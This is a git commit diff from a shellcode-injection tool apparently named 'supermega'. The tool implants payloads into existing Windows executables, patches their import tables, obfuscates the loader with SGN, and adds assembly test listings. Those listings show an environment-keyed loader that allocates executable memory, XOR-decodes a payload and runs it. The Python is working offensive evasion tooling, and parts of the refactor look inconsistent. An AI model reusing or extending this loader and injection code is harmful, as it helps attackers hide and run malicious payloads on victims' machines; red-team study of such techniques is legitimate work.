refactor: iat related

.gitignore

@@ -4,7 +4,6 @@ exes_more/
 *.obj
 *.lnk
 /*.bin
-*.asm
 __pycache__
 bak/
 build/

model/carrier.py

@@ -0,0 +1,30 @@
+from typing import Dict, List
+import logging
+
+from model.exehost import ExeHost
+
+logger = logging.getLogger("ExeHost")
+
+
+class IatEntry():
+    def __init__(self, name: str, placeholder: bytes):
+        self.name: str = name           # Function Name, like "VirtualAlloc"
+        self.placeholder: bytes = placeholder    # Random bytes as placeholder
+
+
+
+class Carrier():
+    def __init__(self):
+        self.iat_requests: List[IatEntry] = []
+
+
+    def init(self):
+        pass
+
+
+    def add_iat_request(self, func_name: str, placeholder: bytes):
+        self.iat_requests.append(IatEntry(func_name, placeholder))
+
+
+    def get_all_iat_requests(self) -> List[IatEntry]:
+        return self.iat_requests

model/exehost.py

@@ -4,41 +4,32 @@ import pefile
 
 from model.defs import *
 import peparser.pehelper as pehelper
+from peparser.superpe import SuperPe
 from peparser.misc import get_physical_address
 
 logger = logging.getLogger("ExeHost")
 
 
-class IatResolve():
-    def __init__(self, name: str, placeholder: bytes, addr: int):
-        self.name: str = name           # Function Name, like "VirtualAlloc"
-        self.id: bytes = placeholder    # Random bytes
-        self.addr: int = addr           # The address of the IAT entry (incl. image_base)
-
-
-    def __str__(self) -> str:
-        return "0x{:X}: {} ({})".format(
-            self.addr,
-            self.name,
-            self.id
-        )
-
 
 class ExeHost():
     def __init__(self, filepath: FilePath):
         self.filepath: FilePath = filepath
 
-        self.iat_resolves: Dict[str, IatResolve] = {}
+        # we keep this open
-        self.iat = {}
+        # And modify the EXE through this at the end
+        self.pe: pefile.PE = None
+        self.superpe: SuperPe = None
 
-        self.image_base = 0
+        self.iat = {}  # Dict[str, List[Dict[str, str]]]
-        self.dynamic_base = False
         
-        self.code_virtaddr = 0
+
-        self.code_size = 0
+        self.image_base: int = 0
+        self.dynamic_base: bool = False
+
+        self.code_virtaddr: int = 0
+        self.code_size: int = 0
         self.code_section = None
         
-        
         self.base_relocs = []
         self.rwx_section = None
 
@@ -46,10 +37,12 @@ class ExeHost():
         self.ep_raw = None
 
 
-
     def init(self):
         logger.info("--[ Analyzing: {}".format(self.filepath))
+
         pe = pefile.PE(self.filepath)
+        self.pe = pe
+        self.superpe = SuperPe(pe)
 
         if pe.FILE_HEADER.Machine != 0x8664:
             raise Exception("Binary is not 64bit: {}".format(self.filepath))
@@ -75,9 +68,6 @@ class ExeHost():
             self.code_virtaddr,
             self.code_size))
 
-        # iat
-        self.iat = self.extract_iat(pe)
-
         # relocs
         if hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
             for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
@@ -94,42 +84,10 @@ class ExeHost():
         # rwx
         self.rwx_section = pehelper.get_rwx_section(pe)
 
-
-    ## IAT related
-
-    def add_iat_resolve(self, func_name, placeholder):
-        self.iat_resolves[func_name] = IatResolve(
-            func_name, placeholder, self._get_addr_of_iat_function(func_name))
-
-
-    def get_all_iat_resolvs(self) -> Dict[str, IatResolve]:
-        return self.iat_resolves
-    
-    
-    def has_all_iat_functions(self, needed_functions: List[str]) -> bool:
-        is_ok = True
-        for func_name in needed_functions:
-            addr = self._get_addr_of_iat_function(func_name)
-            if addr == 0:
-                logging.info("---( Function not available as import: {}".format(func_name))
-                is_ok = False
-        return is_ok
-    
-
-    def _get_addr_of_iat_function(self, func_name: str) -> int:
-        for dll_name in self.iat:
-            for entry in self.iat[dll_name]:
-                if entry["func_name"] == func_name:
-                    return entry["func_addr"]
-        return 0
-    
-    def extract_iat(self, pe: pefile.PE):
-        iat = {}
-
         # If the PE file was loaded using the fast_load=True argument, we will need to parse the data directories:
         #pe.parse_data_directories()
 
-        # Retrieve the IAT entries from the PE file
+        # IAT
         for entry in pe.DIRECTORY_ENTRY_IMPORT:
             for imp in entry.imports:
                 dll_name = entry.dll.decode('utf-8')
@@ -138,22 +96,28 @@ class ExeHost():
                 imp_name = imp.name.decode('utf-8')
                 imp_addr = imp.address
 
-                if not dll_name in iat:
+                if not dll_name in self.iat:
-                    iat[dll_name] = []
+                    self.iat[dll_name] = []
 
-                iat[dll_name].append({
+                self.iat[dll_name].append({
                     "dll_name": dll_name,
                     "func_name": imp_name,
                     "func_addr": imp_addr
                 })
         
-        return iat
+
+    def get_addr_of_iat_function(self, func_name: str) -> int:
+        for dll_name in self.iat:
+            for entry in self.iat[dll_name]:
+                if entry["func_name"] == func_name:
+                    return entry["func_addr"]
+        return None
     
     ## Other
 
     def print(self):
         logger.info("--( Required IAT Resolves: ")
-        for _, cap in self.iat_resolves.items():
+        for _, cap in self.iat_requests.items():
             if cap.addr == 0:
                 logger.info("   {:28} {}".format(cap.name, "N/A"))
             else:

model/project.py

@@ -1,21 +1,23 @@
 import logging
 
-from model import *
-from model.defs import *
 from model.payload import Payload
 from model.exehost import ExeHost
+from model.settings import Settings
+from model.carrier import Carrier
 
 
 logger = logging.getLogger("Project")
 
 
 class Project():
-    def __init__(self, settings):
+    def __init__(self, settings: Settings):
-        self.settings = settings
+        self.settings: Settings = settings
-        self.payload = Payload(self.settings.payload_path)
+        self.payload: Payload = Payload(self.settings.payload_path)
-        self.exe_host = ExeHost(self.settings.inject_exe_in)
+        self.exe_host: ExeHost = ExeHost(self.settings.inject_exe_in)
+        self.carrier: Carrier = Carrier()
 
 
     def init(self):
         self.payload.init()
         self.exe_host.init()
+        self.carrier.init()

model/settings.py

@@ -1,6 +1,6 @@
-from model import *
 from model.defs import *
 
+
 class Settings():
     def __init__(self):
         self.payload_path: FilePath = ""

peparser/superpe.py

@@ -0,0 +1,37 @@
+from typing import List
+import pefile
+
+
+class PeSection():
+    def __init__(self, pefile_section: pefile.SectionStructure):
+        self.name: str = pefile_section.Name.rstrip(b'\x00').decode("utf-8")
+        self.raw_addr: int = pefile_section.PointerToRawData
+        self.raw_size: int = pefile_section.SizeOfRawData
+        self.virt_addr: int = pefile_section.VirtualAddress
+        self.virt_size: int = pefile_section.Misc_VirtualSize
+        #self.permissions = pefile_section.Characteristics
+
+
+class SuperPe():
+    """Interact with a PE file using pefile"""
+
+    def __init__(self, pe: pefile.PE):
+        self.pe: pefile.PE = pe
+        self.pe_sections: List[PeSection] = []
+
+
+    def init(self):
+        for section in self.pe.sections:
+            self.pe_sections.append(PeSection(section))
+
+
+    def get_section_by_name(self, name: str) -> PeSection:
+        for section in self.pe_sections:
+            #print("{} {}".format(section.name, name))
+            if section.name == name:
+                return section
+        return None
+    
+
+
+

phases/compiler.py

@@ -9,6 +9,7 @@ from observer import observer
 from model import *
 from phases.masmshc import process_file, Params
 from phases.datareuse import *
+from model.carrier import Carrier
 
 logger = logging.getLogger("Compiler")
 use_templates = True
@@ -166,7 +167,7 @@ def get_function_stubs(asm_in: FilePath) -> List[str]:
     return functions
 
 
-def fixup_iat_reuse(filename: FilePath, exe_host):
+def fixup_iat_reuse(filename: FilePath, carrier: Carrier):
     with open(filename, 'r', encoding='utf-8') as asmfile:
         lines = asmfile.readlines()
 
@@ -180,7 +181,7 @@ def fixup_iat_reuse(filename: FilePath, exe_host):
             randbytes: bytes = os.urandom(6)
             lines[idx] = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name)
             lines[idx] += "\n"
-            exe_host.add_iat_resolve(func_name, randbytes)
+            carrier.add_iat_request(func_name, randbytes)
 
             logger.info("    > Replace func name: {} with {}".format(
                 func_name, randbytes.hex()))

phases/injector.py

@@ -6,6 +6,7 @@ import time
 import tempfile
 import logging
 
+from model.carrier import Carrier
 from peparser.pehelper import *
 from model.exehost import *
 from observer import observer
@@ -57,26 +58,30 @@ def inject_exe(
         raise Exception("Shellcode injection error")
 
 
-def injected_fix_iat(exe_out: FilePath, exe_host: ExeHost):
+def injected_fix_iat(exe_out: FilePath, carrier: Carrier, exe_host: ExeHost):
     """replace IAT in shellcode in code and re-implant it"""
 
     # get code section of exe_out
     code = extract_code_from_exe(exe_out)
-    for cap in exe_host.get_all_iat_resolvs().values():
-        if not cap.id in code:
-            raise Exception("IatResolve ID {} not found, abort".format(cap.id))
 
-        off = code.index(cap.id)
+    for iatEntry in carrier.get_all_iat_requests():
+        if not iatEntry.placeholder in code:
+            raise Exception("IatResolve ID {} not found, abort".format(iatEntry.placeholder))
+        addr = exe_host.get_addr_of_iat_function(iatEntry.name)
+        if addr == None:
+            raise Exception("IatResolve: Function {} not found".format(iatEntry.name))
+        
+        off = code.index(iatEntry.placeholder)
         current_address = off + exe_host.image_base + exe_host.code_virtaddr
         #current_address += 2
-        destination_address = cap.addr
+        destination_address = addr
         logger.info("    Replace at 0x{:x} with call to 0x{:x}".format(
             current_address, destination_address
         ))
         jmp = assemble_and_disassemble_jump(
             current_address, destination_address
         )
-        code = code.replace(cap.id, jmp)
+        code = code.replace(iatEntry.placeholder, jmp)
 
     # write back our patched code into the exe
     write_code_section(exe_file=exe_out, new_data=code)

supermega.py

@@ -7,8 +7,8 @@ import logging
 import time
 import pefile
 
-from model.defs import *
+
-from model import *
+
 from helper import *
 from config import config
 import phases.templater
@@ -20,6 +20,9 @@ from peparser.pehelper import extract_code_from_exe
 
 from model.project import Project
 from model.settings import Settings
+from model.defs import *
+from model.carrier import Carrier
+from model.exehost import ExeHost
 
 log_messages = []
 
@@ -167,12 +170,11 @@ def start(settings: Settings):
             short_call_patching = project.settings.short_call_patching)
 
     # Decide if we can use IAT_REUSE (all function calls available as import)
-    required_functions = phases.compiler.get_function_stubs(main_asm_file)
+    if exehost_has_all_carrier_functions(project.carrier, project.exe_host):
-    if project.exe_host.has_all_iat_functions(required_functions):
         settings.source_style = SourceStyle.iat_reuse
         logger.warning("--[ SourceStyle: Using IAT_REUSE".format())
         # all good, patch ASM
-        phases.compiler.fixup_iat_reuse(main_asm_file, project.exe_host)
+        phases.compiler.fixup_iat_reuse(main_asm_file, project.carrier)
         observer.add_text("carrier_asm_updated", file_readall_text(main_asm_file))
     else:
         # Not good, Fall back to PEB_WALK
@@ -255,7 +257,7 @@ def start(settings: Settings):
         )
         if settings.source_style == SourceStyle.iat_reuse:
             phases.injector.injected_fix_iat(
-                settings.inject_exe_out, project.exe_host)
+                settings.inject_exe_out, project.carrier, project.exe_host)
 
             # TODO IF?
             phases.injector.injected_fix_data(
@@ -298,6 +300,16 @@ def start(settings: Settings):
     exit(exit_code)
 
 
+def exehost_has_all_carrier_functions(carrier: Carrier, exe_host: ExeHost):
+        is_ok = True
+        for iat_entry in carrier.iat_requests:
+            addr = exe_host.get_addr_of_iat_function(iat_entry.name)
+            if addr == 0:
+                logging.info("---( Function not available as import: {}".format(iat_entry.name))
+                is_ok = False
+        return is_ok
+
+
 def obfuscate_shc_loader(file_shc_in, file_shc_out):
     logger.info("--[ Obfuscate shellcode with SGN")
     run_process_checkret([

tests/data/data_reuse_pre_fixup.asm

@@ -0,0 +1,190 @@
+; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0 
+
+include listing.inc
+
+INCLUDELIB LIBCMT
+INCLUDELIB OLDNAMES
+
+_DATA	SEGMENT
+COMM	supermega_payload:QWORD
+_DATA	ENDS
+PUBLIC	main
+PUBLIC	mystrcmp
+EXTRN	__imp_GetEnvironmentVariableW:PROC
+EXTRN	__imp_VirtualAlloc:PROC
+pdata	SEGMENT
+$pdata$main DD	imagerel $LN8
+	DD	imagerel $LN8+266
+	DD	imagerel $unwind$main
+$pdata$mystrcmp DD imagerel $LN6
+	DD	imagerel $LN6+109
+	DD	imagerel $unwind$mystrcmp
+pdata	ENDS
+_DATA	SEGMENT
+$SG72513 DB	'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
+	DB	'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
+$SG72514 DB	'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H
+	DB	'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k'
+	DB	00H, 'e', 00H, 'r', 00H, 00H, 00H
+_DATA	ENDS
+xdata	SEGMENT
+$unwind$main DD	040a01H
+	DD	010f010aH
+	DD	060027003H
+$unwind$mystrcmp DD 010e01H
+	DD	0220eH
+xdata	ENDS
+; Function compile flags: /Odtp
+_TEXT	SEGMENT
+i$ = 0
+str1$ = 32
+str2$ = 40
+mystrcmp PROC
+; File C:\Users\hacker\source\repos\supermega\build\main.c
+; Line 40
+$LN6:
+	mov	QWORD PTR [rsp+16], rdx
+	mov	QWORD PTR [rsp+8], rcx
+	sub	rsp, 24
+; Line 41
+	mov	DWORD PTR i$[rsp], 0
+$LN2@mystrcmp:
+; Line 42
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str1$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	test	eax, eax
+	je	SHORT $LN3@mystrcmp
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str2$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	test	eax, eax
+	je	SHORT $LN3@mystrcmp
+; Line 43
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str1$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	movsxd	rcx, DWORD PTR i$[rsp]
+	mov	rdx, QWORD PTR str2$[rsp]
+	movzx	ecx, WORD PTR [rdx+rcx*2]
+	cmp	eax, ecx
+	je	SHORT $LN4@mystrcmp
+; Line 44
+	mov	eax, 1
+	jmp	SHORT $LN1@mystrcmp
+$LN4@mystrcmp:
+; Line 46
+	mov	eax, DWORD PTR i$[rsp]
+	inc	eax
+	mov	DWORD PTR i$[rsp], eax
+; Line 47
+	jmp	SHORT $LN2@mystrcmp
+$LN3@mystrcmp:
+; Line 48
+	xor	eax, eax
+$LN1@mystrcmp:
+; Line 49
+	add	rsp, 24
+	ret	0
+mystrcmp ENDP
+_TEXT	ENDS
+; Function compile flags: /Odtp
+_TEXT	SEGMENT
+n$1 = 32
+dest$ = 40
+result$ = 48
+envVarName$ = 56
+tocheck$ = 80
+buffer$ = 112
+main	PROC
+; File C:\Users\hacker\source\repos\supermega\build\main.c
+; Line 6
+$LN8:
+	push	rsi
+	push	rdi
+	sub	rsp, 2168				; 00000878H
+; Line 10
+	lea	rax, QWORD PTR envVarName$[rsp]
+	lea	rcx, OFFSET FLAT:$SG72513
+	mov	rdi, rax
+	mov	rsi, rcx
+	mov	ecx, 24
+	rep movsb
+; Line 11
+	lea	rax, QWORD PTR tocheck$[rsp]
+	lea	rcx, OFFSET FLAT:$SG72514
+	mov	rdi, rax
+	mov	rsi, rcx
+	mov	ecx, 32					; 00000020H
+	rep movsb
+; Line 13
+	mov	r8d, 1024				; 00000400H
+	lea	rdx, QWORD PTR buffer$[rsp]
+	lea	rcx, QWORD PTR envVarName$[rsp]
+	call	QWORD PTR __imp_GetEnvironmentVariableW
+	mov	DWORD PTR result$[rsp], eax
+; Line 14
+	cmp	DWORD PTR result$[rsp], 0
+	jne	SHORT $LN5@main
+; Line 15
+	mov	eax, 6
+	jmp	$LN1@main
+$LN5@main:
+; Line 17
+	lea	rdx, QWORD PTR tocheck$[rsp]
+	lea	rcx, QWORD PTR buffer$[rsp]
+	call	mystrcmp
+	test	eax, eax
+	je	SHORT $LN6@main
+; Line 18
+	mov	eax, 6
+	jmp	SHORT $LN1@main
+$LN6@main:
+; Line 23
+	mov	r9d, 64					; 00000040H
+	mov	r8d, 12288				; 00003000H
+	mov	edx, 347				; 0000015bH
+	xor	ecx, ecx
+	call	QWORD PTR __imp_VirtualAlloc
+	mov	QWORD PTR dest$[rsp], rax
+; Line 29
+	mov	DWORD PTR n$1[rsp], 0
+	jmp	SHORT $LN4@main
+$LN2@main:
+	mov	eax, DWORD PTR n$1[rsp]
+	inc	eax
+	mov	DWORD PTR n$1[rsp], eax
+$LN4@main:
+	cmp	DWORD PTR n$1[rsp], 347			; 0000015bH
+	jge	SHORT $LN3@main
+; Line 30
+	movsxd	rax, DWORD PTR n$1[rsp]
+	movsxd	rcx, DWORD PTR n$1[rsp]
+	mov	rdx, QWORD PTR dest$[rsp]
+	mov	rdi, QWORD PTR supermega_payload
+	movzx	eax, BYTE PTR [rdi+rax]
+	mov	BYTE PTR [rdx+rcx], al
+; Line 31
+	movsxd	rax, DWORD PTR n$1[rsp]
+	mov	rcx, QWORD PTR dest$[rsp]
+	movsx	eax, BYTE PTR [rcx+rax]
+	xor	eax, 49					; 00000031H
+	movsxd	rcx, DWORD PTR n$1[rsp]
+	mov	rdx, QWORD PTR dest$[rsp]
+	mov	BYTE PTR [rdx+rcx], al
+; Line 32
+	jmp	SHORT $LN2@main
+$LN3@main:
+; Line 35
+	call	QWORD PTR dest$[rsp]
+; Line 37
+	xor	eax, eax
+$LN1@main:
+; Line 38
+	add	rsp, 2168				; 00000878H
+	pop	rdi
+	pop	rsi
+	ret	0
+main	ENDP
+_TEXT	ENDS
+END

tests/data/iat_reuse_pre_fixup.asm

@@ -0,0 +1,190 @@
+; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0 
+
+include listing.inc
+
+INCLUDELIB LIBCMT
+INCLUDELIB OLDNAMES
+
+_DATA	SEGMENT
+COMM	supermega_payload:QWORD
+_DATA	ENDS
+PUBLIC	main
+PUBLIC	mystrcmp
+EXTRN	__imp_GetEnvironmentVariableW:PROC
+EXTRN	__imp_VirtualAlloc:PROC
+pdata	SEGMENT
+$pdata$main DD	imagerel $LN8
+	DD	imagerel $LN8+266
+	DD	imagerel $unwind$main
+$pdata$mystrcmp DD imagerel $LN6
+	DD	imagerel $LN6+109
+	DD	imagerel $unwind$mystrcmp
+pdata	ENDS
+_DATA	SEGMENT
+$SG72513 DB	'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
+	DB	'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
+$SG72514 DB	'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H
+	DB	'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k'
+	DB	00H, 'e', 00H, 'r', 00H, 00H, 00H
+_DATA	ENDS
+xdata	SEGMENT
+$unwind$main DD	040a01H
+	DD	010f010aH
+	DD	060027003H
+$unwind$mystrcmp DD 010e01H
+	DD	0220eH
+xdata	ENDS
+; Function compile flags: /Odtp
+_TEXT	SEGMENT
+i$ = 0
+str1$ = 32
+str2$ = 40
+mystrcmp PROC
+; File C:\Users\hacker\source\repos\supermega\build\main.c
+; Line 40
+$LN6:
+	mov	QWORD PTR [rsp+16], rdx
+	mov	QWORD PTR [rsp+8], rcx
+	sub	rsp, 24
+; Line 41
+	mov	DWORD PTR i$[rsp], 0
+$LN2@mystrcmp:
+; Line 42
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str1$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	test	eax, eax
+	je	SHORT $LN3@mystrcmp
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str2$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	test	eax, eax
+	je	SHORT $LN3@mystrcmp
+; Line 43
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str1$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	movsxd	rcx, DWORD PTR i$[rsp]
+	mov	rdx, QWORD PTR str2$[rsp]
+	movzx	ecx, WORD PTR [rdx+rcx*2]
+	cmp	eax, ecx
+	je	SHORT $LN4@mystrcmp
+; Line 44
+	mov	eax, 1
+	jmp	SHORT $LN1@mystrcmp
+$LN4@mystrcmp:
+; Line 46
+	mov	eax, DWORD PTR i$[rsp]
+	inc	eax
+	mov	DWORD PTR i$[rsp], eax
+; Line 47
+	jmp	SHORT $LN2@mystrcmp
+$LN3@mystrcmp:
+; Line 48
+	xor	eax, eax
+$LN1@mystrcmp:
+; Line 49
+	add	rsp, 24
+	ret	0
+mystrcmp ENDP
+_TEXT	ENDS
+; Function compile flags: /Odtp
+_TEXT	SEGMENT
+n$1 = 32
+dest$ = 40
+result$ = 48
+envVarName$ = 56
+tocheck$ = 80
+buffer$ = 112
+main	PROC
+; File C:\Users\hacker\source\repos\supermega\build\main.c
+; Line 6
+$LN8:
+	push	rsi
+	push	rdi
+	sub	rsp, 2168				; 00000878H
+; Line 10
+	lea	rax, QWORD PTR envVarName$[rsp]
+	lea	rcx, OFFSET FLAT:$SG72513
+	mov	rdi, rax
+	mov	rsi, rcx
+	mov	ecx, 24
+	rep movsb
+; Line 11
+	lea	rax, QWORD PTR tocheck$[rsp]
+	lea	rcx, OFFSET FLAT:$SG72514
+	mov	rdi, rax
+	mov	rsi, rcx
+	mov	ecx, 32					; 00000020H
+	rep movsb
+; Line 13
+	mov	r8d, 1024				; 00000400H
+	lea	rdx, QWORD PTR buffer$[rsp]
+	lea	rcx, QWORD PTR envVarName$[rsp]
+	call	QWORD PTR __imp_GetEnvironmentVariableW
+	mov	DWORD PTR result$[rsp], eax
+; Line 14
+	cmp	DWORD PTR result$[rsp], 0
+	jne	SHORT $LN5@main
+; Line 15
+	mov	eax, 6
+	jmp	$LN1@main
+$LN5@main:
+; Line 17
+	lea	rdx, QWORD PTR tocheck$[rsp]
+	lea	rcx, QWORD PTR buffer$[rsp]
+	call	mystrcmp
+	test	eax, eax
+	je	SHORT $LN6@main
+; Line 18
+	mov	eax, 6
+	jmp	SHORT $LN1@main
+$LN6@main:
+; Line 23
+	mov	r9d, 64					; 00000040H
+	mov	r8d, 12288				; 00003000H
+	mov	edx, 347				; 0000015bH
+	xor	ecx, ecx
+	call	QWORD PTR __imp_VirtualAlloc
+	mov	QWORD PTR dest$[rsp], rax
+; Line 29
+	mov	DWORD PTR n$1[rsp], 0
+	jmp	SHORT $LN4@main
+$LN2@main:
+	mov	eax, DWORD PTR n$1[rsp]
+	inc	eax
+	mov	DWORD PTR n$1[rsp], eax
+$LN4@main:
+	cmp	DWORD PTR n$1[rsp], 347			; 0000015bH
+	jge	SHORT $LN3@main
+; Line 30
+	movsxd	rax, DWORD PTR n$1[rsp]
+	movsxd	rcx, DWORD PTR n$1[rsp]
+	mov	rdx, QWORD PTR dest$[rsp]
+	mov	rdi, QWORD PTR supermega_payload
+	movzx	eax, BYTE PTR [rdi+rax]
+	mov	BYTE PTR [rdx+rcx], al
+; Line 31
+	movsxd	rax, DWORD PTR n$1[rsp]
+	mov	rcx, QWORD PTR dest$[rsp]
+	movsx	eax, BYTE PTR [rcx+rax]
+	xor	eax, 49					; 00000031H
+	movsxd	rcx, DWORD PTR n$1[rsp]
+	mov	rdx, QWORD PTR dest$[rsp]
+	mov	BYTE PTR [rdx+rcx], al
+; Line 32
+	jmp	SHORT $LN2@main
+$LN3@main:
+; Line 35
+	call	QWORD PTR dest$[rsp]
+; Line 37
+	xor	eax, eax
+$LN1@main:
+; Line 38
+	add	rsp, 2168				; 00000878H
+	pop	rdi
+	pop	rsi
+	ret	0
+main	ENDP
+_TEXT	ENDS
+END

tests/data/peb_walk_pre_fixup.asm

@@ -0,0 +1,214 @@
+; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0 
+
+include listing.inc
+
+INCLUDELIB LIBCMT
+INCLUDELIB OLDNAMES
+
+_DATA	SEGMENT
+COMM	supermega_payload:QWORD
+_DATA	ENDS
+PUBLIC	main
+PUBLIC	mystrcmp
+EXTRN	__imp_GetEnvironmentVariableW:PROC
+EXTRN	__imp_VirtualAlloc:PROC
+pdata	SEGMENT
+$pdata$main DD	imagerel $LN8
+	DD	imagerel $LN8+453
+	DD	imagerel $unwind$main
+$pdata$mystrcmp DD imagerel $LN6
+	DD	imagerel $LN6+109
+	DD	imagerel $unwind$mystrcmp
+pdata	ENDS
+xdata	SEGMENT
+$unwind$main DD	020701H
+	DD	010f0107H
+$unwind$mystrcmp DD 010e01H
+	DD	0220eH
+xdata	ENDS
+; Function compile flags: /Odtp
+_TEXT	SEGMENT
+i$ = 0
+str1$ = 32
+str2$ = 40
+mystrcmp PROC
+; File C:\Users\hacker\source\repos\supermega\build\main.c
+; Line 37
+$LN6:
+	mov	QWORD PTR [rsp+16], rdx
+	mov	QWORD PTR [rsp+8], rcx
+	sub	rsp, 24
+; Line 38
+	mov	DWORD PTR i$[rsp], 0
+$LN2@mystrcmp:
+; Line 39
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str1$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	test	eax, eax
+	je	SHORT $LN3@mystrcmp
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str2$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	test	eax, eax
+	je	SHORT $LN3@mystrcmp
+; Line 40
+	movsxd	rax, DWORD PTR i$[rsp]
+	mov	rcx, QWORD PTR str1$[rsp]
+	movzx	eax, WORD PTR [rcx+rax*2]
+	movsxd	rcx, DWORD PTR i$[rsp]
+	mov	rdx, QWORD PTR str2$[rsp]
+	movzx	ecx, WORD PTR [rdx+rcx*2]
+	cmp	eax, ecx
+	je	SHORT $LN4@mystrcmp
+; Line 41
+	mov	eax, 1
+	jmp	SHORT $LN1@mystrcmp
+$LN4@mystrcmp:
+; Line 43
+	mov	eax, DWORD PTR i$[rsp]
+	inc	eax
+	mov	DWORD PTR i$[rsp], eax
+; Line 44
+	jmp	SHORT $LN2@mystrcmp
+$LN3@mystrcmp:
+; Line 45
+	xor	eax, eax
+$LN1@mystrcmp:
+; Line 46
+	add	rsp, 24
+	ret	0
+mystrcmp ENDP
+_TEXT	ENDS
+; Function compile flags: /Odtp
+_TEXT	SEGMENT
+n$1 = 32
+envVarName$ = 40
+tocheck$ = 64
+result$ = 96
+dest$ = 104
+buffer$ = 112
+main	PROC
+; File C:\Users\hacker\source\repos\supermega\build\main.c
+; Line 6
+$LN8:
+	sub	rsp, 2168				; 00000878H
+; Line 8
+	mov	eax, 85					; 00000055H
+	mov	WORD PTR envVarName$[rsp], ax
+	mov	eax, 83					; 00000053H
+	mov	WORD PTR envVarName$[rsp+2], ax
+	mov	eax, 69					; 00000045H
+	mov	WORD PTR envVarName$[rsp+4], ax
+	mov	eax, 82					; 00000052H
+	mov	WORD PTR envVarName$[rsp+6], ax
+	mov	eax, 80					; 00000050H
+	mov	WORD PTR envVarName$[rsp+8], ax
+	mov	eax, 82					; 00000052H
+	mov	WORD PTR envVarName$[rsp+10], ax
+	mov	eax, 79					; 0000004fH
+	mov	WORD PTR envVarName$[rsp+12], ax
+	mov	eax, 70					; 00000046H
+	mov	WORD PTR envVarName$[rsp+14], ax
+	mov	eax, 73					; 00000049H
+	mov	WORD PTR envVarName$[rsp+16], ax
+	mov	eax, 76					; 0000004cH
+	mov	WORD PTR envVarName$[rsp+18], ax
+	mov	eax, 69					; 00000045H
+	mov	WORD PTR envVarName$[rsp+20], ax
+	xor	eax, eax
+	mov	WORD PTR envVarName$[rsp+22], ax
+; Line 9
+	mov	eax, 67					; 00000043H
+	mov	WORD PTR tocheck$[rsp], ax
+	mov	eax, 58					; 0000003aH
+	mov	WORD PTR tocheck$[rsp+2], ax
+	mov	eax, 92					; 0000005cH
+	mov	WORD PTR tocheck$[rsp+4], ax
+	mov	eax, 85					; 00000055H
+	mov	WORD PTR tocheck$[rsp+6], ax
+	mov	eax, 115				; 00000073H
+	mov	WORD PTR tocheck$[rsp+8], ax
+	mov	eax, 101				; 00000065H
+	mov	WORD PTR tocheck$[rsp+10], ax
+	mov	eax, 114				; 00000072H
+	mov	WORD PTR tocheck$[rsp+12], ax
+	mov	eax, 115				; 00000073H
+	mov	WORD PTR tocheck$[rsp+14], ax
+	mov	eax, 92					; 0000005cH
+	mov	WORD PTR tocheck$[rsp+16], ax
+	mov	eax, 104				; 00000068H
+	mov	WORD PTR tocheck$[rsp+18], ax
+	mov	eax, 97					; 00000061H
+	mov	WORD PTR tocheck$[rsp+20], ax
+	mov	eax, 99					; 00000063H
+	mov	WORD PTR tocheck$[rsp+22], ax
+	mov	eax, 107				; 0000006bH
+	mov	WORD PTR tocheck$[rsp+24], ax
+	mov	eax, 101				; 00000065H
+	mov	WORD PTR tocheck$[rsp+26], ax
+	mov	eax, 114				; 00000072H
+	mov	WORD PTR tocheck$[rsp+28], ax
+	xor	eax, eax
+	mov	WORD PTR tocheck$[rsp+30], ax
+; Line 11
+	mov	r8d, 1024				; 00000400H
+	lea	rdx, QWORD PTR buffer$[rsp]
+	lea	rcx, QWORD PTR envVarName$[rsp]
+	call	QWORD PTR __imp_GetEnvironmentVariableW
+	mov	DWORD PTR result$[rsp], eax
+; Line 12
+	cmp	DWORD PTR result$[rsp], 0
+	jne	SHORT $LN5@main
+; Line 13
+	mov	eax, 6
+	jmp	SHORT $LN1@main
+$LN5@main:
+; Line 15
+	lea	rdx, QWORD PTR tocheck$[rsp]
+	lea	rcx, QWORD PTR buffer$[rsp]
+	call	mystrcmp
+	test	eax, eax
+	je	SHORT $LN6@main
+; Line 16
+	mov	eax, 6
+	jmp	SHORT $LN1@main
+$LN6@main:
+; Line 21
+	mov	r9d, 64					; 00000040H
+	mov	r8d, 12288				; 00003000H
+	mov	edx, 4096				; 00001000H
+	xor	ecx, ecx
+	call	QWORD PTR __imp_VirtualAlloc
+	mov	QWORD PTR dest$[rsp], rax
+; Line 27
+	mov	DWORD PTR n$1[rsp], 0
+	jmp	SHORT $LN4@main
+$LN2@main:
+	mov	eax, DWORD PTR n$1[rsp]
+	inc	eax
+	mov	DWORD PTR n$1[rsp], eax
